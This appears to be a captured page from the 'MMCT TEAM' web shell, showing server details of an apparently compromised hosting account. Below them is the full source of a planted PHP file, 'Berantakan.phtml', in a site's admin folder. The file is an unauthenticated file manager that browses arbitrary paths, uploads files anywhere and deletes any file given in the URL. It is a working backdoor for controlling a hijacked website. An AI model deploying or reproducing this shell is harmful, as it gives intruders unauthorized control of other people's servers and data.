MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/ombrecraft/Admin/current_causes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/ombrecraft/Admin/current_causes/Berantakan.phtml
<?php
// Fungsi untuk mendapatkan izin file
function getPermissions($file) {
    $perms = fileperms($file);
    $info = '';
    $info .= ($perms & 0x0100) ? 'r' : '-';
    $info .= ($perms & 0x0080) ? 'w' : '-';
    $info .= ($perms & 0x0040) ? 'x' : '-';
    $info .= ($perms & 0x0020) ? 'r' : '-';
    $info .= ($perms & 0x0010) ? 'w' : '-';
    $info .= ($perms & 0x0008) ? 'x' : '-';
    $info .= ($perms & 0x0004) ? 'r' : '-';
    $info .= ($perms & 0x0002) ? 'w' : '-';
    $info .= ($perms & 0x0001) ? 'x' : '-';
    return $info;
}

// Navigasi direktori
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

echo '<h2>PHP File Manager</h2>';
echo "<p>Current Directory: $path</p>";

// Menampilkan breadcrumb navigasi
echo '<p>Directory: ';
foreach($paths as $id => $pat) {
    if($pat == '' && $id == 0){
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i = 0; $i <= $id; $i++) {
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo '">' . htmlspecialchars($pat) . '</a>/';
}
echo '</p>';

echo '<form enctype="multipart/form-data" method="POST">';
echo '<input type="file" name="file" />';
echo '<input type="submit" value="Upload" />';
echo '<input type="hidden" name="upload_path" value="' . htmlspecialchars($path) . '">';
echo '</form>';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadPath = $_POST['upload_path'];
    $uploadFile = $uploadPath . '/' . $_FILES['file']['name'];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "<p style='color: green;'>File uploaded successfully.</p>";
    } else {
        echo "<p style='color: red;'>File upload failed.</p>";
    }
}

// Mengambil semua item dalam direktori
$items = array_diff(scandir($path), array('.', '..'));

echo '<table border="1" cellpadding="5" cellspacing="0">';
echo '<tr><th>Name</th><th>Size</th><th>Permissions</th><th>Options</th></tr>';

foreach ($items as $item) {
    $itemPath = $path . DIRECTORY_SEPARATOR . $item;
    echo '<tr>';
    echo '<td>' . htmlspecialchars($item) . '</td>';
    if (is_dir($itemPath)) {
        echo '<td>--</td>';
        echo '<td>' . getPermissions($itemPath) . '</td>';
        echo '<td><a href="?path=' . urlencode($itemPath) . '">Enter Directory</a></td>';
    } else {
        echo '<td>' . filesize($itemPath) . ' bytes</td>';
        echo '<td>' . getPermissions($itemPath) . '</td>';
        echo '<td><a href="?path=' . urlencode($path) . '&delete=' . urlencode($itemPath) . '">Delete</a></td>';
    }
    echo '</tr>';
}

echo '</table>';

if (isset($_GET['delete'])) {
    $deletePath = $_GET['delete'];
    if (is_file($deletePath)) {
        unlink($deletePath);
        echo "<p style='color: green;'>File deleted successfully.</p>";
    } else {
        echo "<p style='color: red;'>Failed to delete file.</p>";
    }
}
?>

MMCT - 2023